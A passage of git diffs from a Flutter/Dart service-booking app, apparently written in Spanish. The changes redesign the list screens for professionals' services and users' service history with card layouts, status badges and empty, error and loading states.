color: _kPrimary.withOpacity(0.1),
|
||||
child: Center(
|
||||
child: Text(
|
||||
text,
|
||||
user.name?.isNotEmpty == true
|
||||
? user.name![0].toUpperCase()
|
||||
: '?',
|
||||
style: const TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
color: Colors.white,
|
||||
fontSize: 18,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: _kPrimary),
|
||||
),
|
||||
),
|
||||
)
|
||||
: Image.network(user.picture!, fit: BoxFit.cover),
|
||||
),
|
||||
),
|
||||
),
|
||||
Expanded(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
children: [
|
||||
Text(user.name ?? '',
|
||||
style: TextStyle(
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface)),
|
||||
if (service.description.isNotEmpty) ...[
|
||||
const SizedBox(height: 2),
|
||||
Text('"${service.description}"',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: context.muted,
|
||||
fontStyle: FontStyle.italic),
|
||||
maxLines: 1,
|
||||
overflow: TextOverflow.ellipsis),
|
||||
],
|
||||
const SizedBox(height: 5),
|
||||
Row(children: [
|
||||
Icon(Icons.calendar_today_outlined,
|
||||
size: 11, color: context.subtle),
|
||||
const SizedBox(width: 4),
|
||||
Text('$dateStr · $timeStr',
|
||||
style: TextStyle(
|
||||
fontSize: 11,
|
||||
color: context.muted,
|
||||
fontWeight: FontWeight.w500)),
|
||||
]),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
Padding(
|
||||
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
|
||||
child: Column(
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
crossAxisAlignment: CrossAxisAlignment.end,
|
||||
children: [
|
||||
_StatusBadge(si: si),
|
||||
const SizedBox(height: 6),
|
||||
Icon(Icons.chevron_right, size: 18, color: context.subtle),
|
||||
],
|
||||
),
|
||||
),
|
||||
]),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _StatusBadge extends StatelessWidget {
|
||||
final _StatusInfo si;
|
||||
const _StatusBadge({required this.si});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
|
||||
decoration: BoxDecoration(
|
||||
color: si.color.withOpacity(0.1),
|
||||
borderRadius: BorderRadius.circular(20),
|
||||
border: Border.all(color: si.color.withOpacity(0.3)),
|
||||
),
|
||||
child: Row(mainAxisSize: MainAxisSize.min, children: [
|
||||
Icon(si.icon, size: 10, color: si.color),
|
||||
const SizedBox(width: 4),
|
||||
Text(si.label,
|
||||
style: TextStyle(
|
||||
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _StatusInfo {
|
||||
final String label;
|
||||
final Color color;
|
||||
final IconData icon;
|
||||
const _StatusInfo(this.label, this.color, this.icon);
|
||||
}
|
||||
|
||||
_StatusInfo _statusInfo(ServiceStatus status) {
|
||||
switch (status) {
|
||||
case ServiceStatus.completed:
|
||||
return const _StatusInfo(
|
||||
'Completado', Color(0xFF64748B), Icons.task_alt_outlined);
|
||||
case ServiceStatus.denied:
|
||||
return const _StatusInfo(
|
||||
'Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
|
||||
case ServiceStatus.cancelled:
|
||||
return const _StatusInfo(
|
||||
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
|
||||
default:
|
||||
return const _StatusInfo(
|
||||
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
@@ -10,6 +8,21 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
|
||||
import 'package:prosappco/screens/service/professional_service_screen.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:shimmer/shimmer.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get bg => _t.scaffoldBackgroundColor;
|
||||
Color get card => _t.cardColor;
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadowSm =>
|
||||
isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
|
||||
}
|
||||
|
||||
class ProfessionalServiceListScreen extends StatefulWidget {
|
||||
const ProfessionalServiceListScreen({super.key});
|
||||
@@ -26,10 +39,9 @@ class _ProfessionalServiceListScreenState
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
|
||||
serviceBloc = Injector.appInstance.get<ServiceBloc>();
|
||||
|
||||
serviceBloc.add(LoadServicesForProfessional(ApiUserRepository.currentUserId ?? ''));
|
||||
serviceBloc.add(
|
||||
LoadServicesForProfessional(ApiUserRepository.currentUserId ?? ''));
|
||||
}
|
||||
|
||||
@override
|
||||
@@ -37,183 +49,291 @@ class _ProfessionalServiceListScreenState
|
||||
return BlocProvider<ServiceBloc>(
|
||||
create: (context) => serviceBloc,
|
||||
child: Scaffold(
|
||||
backgroundColor: context.bg,
|
||||
appBar: AppBar(
|
||||
title: const Text('Mis servicios'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: BlocBuilder<ServiceBloc, ServiceState>(
|
||||
builder: (context, serviceState) {
|
||||
if (serviceState is ServicesForUserLoaded) {
|
||||
return serviceState.services.isEmpty
|
||||
? const Center(
|
||||
child: Text('No tienes servicios'),
|
||||
)
|
||||
: ListView.builder(
|
||||
if (serviceState.services.isEmpty) return _emptyState(context);
|
||||
return ListView.builder(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: serviceState.services.length,
|
||||
itemBuilder: (_, index) {
|
||||
final serviceInfo = serviceState.services[index];
|
||||
final user = serviceInfo.user;
|
||||
final service = serviceInfo.service;
|
||||
|
||||
return Container(
|
||||
decoration: BoxDecoration(
|
||||
border: Border(
|
||||
bottom: BorderSide(
|
||||
color: Colors.grey.withOpacity(0.2)),
|
||||
),
|
||||
),
|
||||
child: ListTile(
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
final info = serviceState.services[index];
|
||||
return _ServiceCard(
|
||||
user: info.user,
|
||||
service: info.service,
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
ProfessionalServiceScreen(
|
||||
serviceId: service.id!,
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
leading: Container(
|
||||
width: 60,
|
||||
height: 60,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
image: user.picture == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: NetworkImage(user.picture!),
|
||||
fit: BoxFit.contain,
|
||||
),
|
||||
),
|
||||
child: user.picture == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 40,
|
||||
)
|
||||
: null,
|
||||
),
|
||||
title: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Flexible(
|
||||
child: Text(
|
||||
'${user.name}',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
Text(
|
||||
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
|
||||
style: TextStyle(
|
||||
color: Colors.grey[600],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
subtitle: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Row(
|
||||
children: [
|
||||
const Text(
|
||||
'Estado:',
|
||||
style: TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
customStatus(service),
|
||||
],
|
||||
),
|
||||
service.description.isEmpty
|
||||
? Container()
|
||||
: Text(
|
||||
'"${service.description.trim()}"',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
),
|
||||
],
|
||||
),
|
||||
builder: (_) => ProfessionalServiceScreen(
|
||||
serviceId: info.service.id!)),
|
||||
),
|
||||
);
|
||||
},
|
||||
);
|
||||
}
|
||||
if (serviceState is CreateServiceFailure) {
|
||||
return _errorState(
|
||||
context,
|
||||
() => serviceBloc.add(LoadServicesForProfessional(
|
||||
ApiUserRepository.currentUserId ?? '')));
|
||||
}
|
||||
return _shimmerList();
|
||||
},
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Widget _errorState(BuildContext context, VoidCallback onRetry) {
|
||||
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
|
||||
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72, height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.error_outline, size: 36, color: subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('No se pudo cargar la información',
|
||||
style: TextStyle(
|
||||
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Revisa tu conexión e inténtalo de nuevo.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(onPressed: onRetry, child: const Text('Reintentar')),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _emptyState(BuildContext context) {
|
||||
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
|
||||
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72, height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.list_alt_outlined, size: 36, color: subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('Sin servicios',
|
||||
style: TextStyle(
|
||||
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Tus servicios activos aparecerán aquí.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _shimmerList() {
|
||||
return Shimmer.fromColors(
|
||||
baseColor: Colors.grey[300]!,
|
||||
highlightColor: Colors.grey[100]!,
|
||||
child: ListView.builder(
|
||||
itemCount: 10,
|
||||
itemBuilder: (_, __) => ListTile(
|
||||
leading: CircleAvatar(
|
||||
backgroundColor: Colors.grey[300],
|
||||
radius: 30,
|
||||
),
|
||||
title: Container(
|
||||
height: 20,
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: 8,
|
||||
itemBuilder: (_, __) => Container(
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
height: 84,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
subtitle: Container(
|
||||
height: 15,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
color: Colors.white, borderRadius: BorderRadius.circular(14)),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Container customStatus(ServiceEntity service) {
|
||||
if (service.status == ServiceStatus.pending) {
|
||||
return itemStatus(Colors.black54, 'Pendiente');
|
||||
}
|
||||
if (service.status == ServiceStatus.acepted) {
|
||||
return itemStatus(Colors.green, 'Aceptado');
|
||||
}
|
||||
if (service.status == ServiceStatus.active) {
|
||||
return itemStatus(Colors.blueAccent, 'Activo');
|
||||
}
|
||||
class _ServiceCard extends StatelessWidget {
|
||||
final MyUser user;
|
||||
final ServiceEntity service;
|
||||
final VoidCallback onTap;
|
||||
const _ServiceCard(
|
||||
{required this.user, required this.service, required this.onTap});
|
||||
|
||||
return itemStatus(Colors.red, 'Cancelado');
|
||||
}
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final si = _statusInfo(service.status);
|
||||
final dateStr =
|
||||
DateFormat('dd MMM yyyy', 'es').format(DateTime.parse(service.day));
|
||||
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
|
||||
|
||||
Container itemStatus(Color color, String text) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 8,
|
||||
vertical: 3,
|
||||
),
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
decoration: BoxDecoration(
|
||||
color: color,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 10,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: ClipRRect(
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
child: InkWell(
|
||||
onTap: onTap,
|
||||
child: IntrinsicHeight(
|
||||
child: Row(children: [
|
||||
Container(width: 4, color: si.color),
|
||||
Padding(
|
||||
padding: const EdgeInsets.all(12),
|
||||
child: Container(
|
||||
width: 50, height: 50,
|
||||
decoration: BoxDecoration(
|
||||
shape: BoxShape.circle,
|
||||
border: Border.all(
|
||||
color: si.color.withOpacity(0.35), width: 2)),
|
||||
child: ClipOval(
|
||||
child: (user.picture == null || user.picture!.isEmpty)
|
||||
? Container(
|
||||
color: _kPrimary.withOpacity(0.1),
|
||||
child: Center(
|
||||
child: Text(
|
||||
text,
|
||||
user.name?.isNotEmpty == true
|
||||
? user.name![0].toUpperCase()
|
||||
: '?',
|
||||
style: const TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
color: Colors.white,
|
||||
fontSize: 18,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: _kPrimary),
|
||||
),
|
||||
),
|
||||
)
|
||||
: Image.network(user.picture!, fit: BoxFit.cover),
|
||||
),
|
||||
),
|
||||
),
|
||||
Expanded(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
children: [
|
||||
Text(user.name ?? '',
|
||||
style: TextStyle(
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface)),
|
||||
if (service.description.isNotEmpty) ...[
|
||||
const SizedBox(height: 2),
|
||||
Text('"${service.description}"',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: context.muted,
|
||||
fontStyle: FontStyle.italic),
|
||||
maxLines: 1,
|
||||
overflow: TextOverflow.ellipsis),
|
||||
],
|
||||
const SizedBox(height: 5),
|
||||
Row(children: [
|
||||
Icon(Icons.calendar_today_outlined,
|
||||
size: 11, color: context.subtle),
|
||||
const SizedBox(width: 4),
|
||||
Text('$dateStr · $timeStr',
|
||||
style: TextStyle(
|
||||
fontSize: 11,
|
||||
color: context.muted,
|
||||
fontWeight: FontWeight.w500)),
|
||||
]),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
Padding(
|
||||
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
|
||||
child: Column(
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
crossAxisAlignment: CrossAxisAlignment.end,
|
||||
children: [
|
||||
_StatusBadge(si: si),
|
||||
const SizedBox(height: 6),
|
||||
Icon(Icons.chevron_right, size: 18, color: context.subtle),
|
||||
],
|
||||
),
|
||||
),
|
||||
]),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// pending - 0
|
||||
// acepted - 1
|
||||
// active - 2
|
||||
// cancelled - 3
|
||||
// completed - 4
|
||||
class _StatusBadge extends StatelessWidget {
|
||||
final _StatusInfo si;
|
||||
const _StatusBadge({required this.si});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
|
||||
decoration: BoxDecoration(
|
||||
color: si.color.withOpacity(0.1),
|
||||
borderRadius: BorderRadius.circular(20),
|
||||
border: Border.all(color: si.color.withOpacity(0.3)),
|
||||
),
|
||||
child: Row(mainAxisSize: MainAxisSize.min, children: [
|
||||
Icon(si.icon, size: 10, color: si.color),
|
||||
const SizedBox(width: 4),
|
||||
Text(si.label,
|
||||
style: TextStyle(
|
||||
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _StatusInfo {
|
||||
final String label;
|
||||
final Color color;
|
||||
final IconData icon;
|
||||
const _StatusInfo(this.label, this.color, this.icon);
|
||||
}
|
||||
|
||||
_StatusInfo _statusInfo(ServiceStatus status) {
|
||||
switch (status) {
|
||||
case ServiceStatus.acepted:
|
||||
return const _StatusInfo(
|
||||
'Aceptado', Color(0xFF1565C0), Icons.check_circle_outline);
|
||||
case ServiceStatus.active:
|
||||
return const _StatusInfo(
|
||||
'En curso', Color(0xFF16A34A), Icons.play_circle_outline);
|
||||
case ServiceStatus.completed:
|
||||
return const _StatusInfo(
|
||||
'Completado', Color(0xFF64748B), Icons.task_alt_outlined);
|
||||
case ServiceStatus.denied:
|
||||
return const _StatusInfo(
|
||||
'Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
|
||||
case ServiceStatus.cancelled:
|
||||
return const _StatusInfo(
|
||||
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
|
||||
case ServiceStatus.selfBooked:
|
||||
return const _StatusInfo(
|
||||
'Reservado', Color(0xFF7C3AED), Icons.bookmark_outline);
|
||||
default:
|
||||
return const _StatusInfo(
|
||||
'Pendiente', Color(0xFFD97706), Icons.hourglass_top_outlined);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -93,7 +93,7 @@ class _UserScoreListScreenState extends State<UserScoreListScreen> {
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
Text(
|
||||
'${score.createdAt.toDate().day}/${score.createdAt.toDate().month}/${score.createdAt.toDate().year}',
|
||||
'${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).day}/${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).month}/${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).year}',
|
||||
style: TextStyle(
|
||||
color: Colors.grey[600],
|
||||
),
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
@@ -10,6 +8,21 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
|
||||
import 'package:prosappco/screens/service/user_service_screen.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:shimmer/shimmer.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get bg => _t.scaffoldBackgroundColor;
|
||||
Color get card => _t.cardColor;
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadowSm =>
|
||||
isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
|
||||
}
|
||||
|
||||
class UserServiceHistoryListScreen extends StatefulWidget {
|
||||
const UserServiceHistoryListScreen({super.key});
|
||||
@@ -26,9 +39,7 @@ class _UserServiceHistoryListScreenState
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
|
||||
serviceBloc = Injector.appInstance.get<ServiceBloc>();
|
||||
|
||||
serviceBloc.add(
|
||||
LoadServicesHistoryForUser(ApiUserRepository.currentUserId ?? ''));
|
||||
}
|
||||
@@ -38,178 +49,279 @@ class _UserServiceHistoryListScreenState
|
||||
return BlocProvider<ServiceBloc>(
|
||||
create: (context) => serviceBloc,
|
||||
child: Scaffold(
|
||||
backgroundColor: context.bg,
|
||||
appBar: AppBar(
|
||||
title: const Text('Historial'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: BlocBuilder<ServiceBloc, ServiceState>(
|
||||
builder: (context, serviceState) {
|
||||
if (serviceState is ServicesForUserLoaded) {
|
||||
return serviceState.services.isEmpty
|
||||
? const Center(
|
||||
child: Text('No tienes servicios'),
|
||||
)
|
||||
: ListView.builder(
|
||||
if (serviceState.services.isEmpty) return _emptyState(context);
|
||||
return ListView.builder(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: serviceState.services.length,
|
||||
itemBuilder: (_, index) {
|
||||
final serviceInfo = serviceState.services[index];
|
||||
final user = serviceInfo.user;
|
||||
final professional = serviceInfo.professional;
|
||||
final service = serviceInfo.service;
|
||||
|
||||
return Container(
|
||||
decoration: BoxDecoration(
|
||||
border: Border(
|
||||
bottom: BorderSide(
|
||||
color: Colors.grey.withOpacity(0.2)),
|
||||
),
|
||||
),
|
||||
child: ListTile(
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
final info = serviceState.services[index];
|
||||
return _ServiceCard(
|
||||
user: info.user,
|
||||
service: info.service,
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => UserServiceScreen(
|
||||
serviceId: service.id!,
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
leading: Container(
|
||||
width: 60,
|
||||
height: 60,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
image: user.picture == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: NetworkImage(user.picture!),
|
||||
fit: BoxFit.contain,
|
||||
),
|
||||
),
|
||||
child: user.picture == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 40,
|
||||
)
|
||||
: null,
|
||||
),
|
||||
title: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Flexible(
|
||||
child: Text(
|
||||
'${user.name}',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
Text(
|
||||
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
|
||||
style: TextStyle(
|
||||
color: Colors.grey[600],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
subtitle: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Row(
|
||||
children: [
|
||||
const Text(
|
||||
'Estado:',
|
||||
style: TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
customStatus(service),
|
||||
],
|
||||
),
|
||||
Text(
|
||||
'"${service.description.trim()}"',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
),
|
||||
],
|
||||
),
|
||||
builder: (_) =>
|
||||
UserServiceScreen(serviceId: info.service.id!)),
|
||||
),
|
||||
);
|
||||
},
|
||||
);
|
||||
}
|
||||
if (serviceState is CreateServiceFailure) {
|
||||
return _errorState(
|
||||
context,
|
||||
() => serviceBloc.add(LoadServicesHistoryForUser(
|
||||
ApiUserRepository.currentUserId ?? '')));
|
||||
}
|
||||
return _shimmerList();
|
||||
},
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Widget _errorState(BuildContext context, VoidCallback onRetry) {
|
||||
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
|
||||
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72, height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.error_outline, size: 36, color: subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('No se pudo cargar la información',
|
||||
style: TextStyle(
|
||||
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Revisa tu conexión e inténtalo de nuevo.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(onPressed: onRetry, child: const Text('Reintentar')),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _emptyState(BuildContext context) {
|
||||
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
|
||||
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72, height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.history_outlined, size: 36, color: subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('Sin historial',
|
||||
style: TextStyle(
|
||||
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Tus servicios completados aparecerán aquí.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _shimmerList() {
|
||||
return Shimmer.fromColors(
|
||||
baseColor: Colors.grey[300]!,
|
||||
highlightColor: Colors.grey[100]!,
|
||||
child: ListView.builder(
|
||||
itemCount: 10,
|
||||
itemBuilder: (_, __) => ListTile(
|
||||
leading: CircleAvatar(
|
||||
backgroundColor: Colors.grey[300],
|
||||
radius: 30,
|
||||
),
|
||||
title: Container(
|
||||
height: 20,
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: 8,
|
||||
itemBuilder: (_, __) => Container(
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
height: 84,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
subtitle: Container(
|
||||
height: 15,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
color: Colors.white, borderRadius: BorderRadius.circular(14)),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Container customStatus(ServiceEntity service) {
|
||||
if (service.status == ServiceStatus.completed) {
|
||||
return itemStatus(Colors.blueAccent, 'Completado');
|
||||
}
|
||||
if (service.status == ServiceStatus.cancelled) {
|
||||
return itemStatus(Colors.red, 'Cancelado');
|
||||
}
|
||||
class _ServiceCard extends StatelessWidget {
|
||||
final MyUser user;
|
||||
final ServiceEntity service;
|
||||
final VoidCallback onTap;
|
||||
const _ServiceCard(
|
||||
{required this.user, required this.service, required this.onTap});
|
||||
|
||||
return itemStatus(Colors.red, 'Cancelado');
|
||||
}
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final si = _statusInfo(service.status);
|
||||
final dateStr =
|
||||
DateFormat('dd MMM yyyy', 'es').format(DateTime.parse(service.day));
|
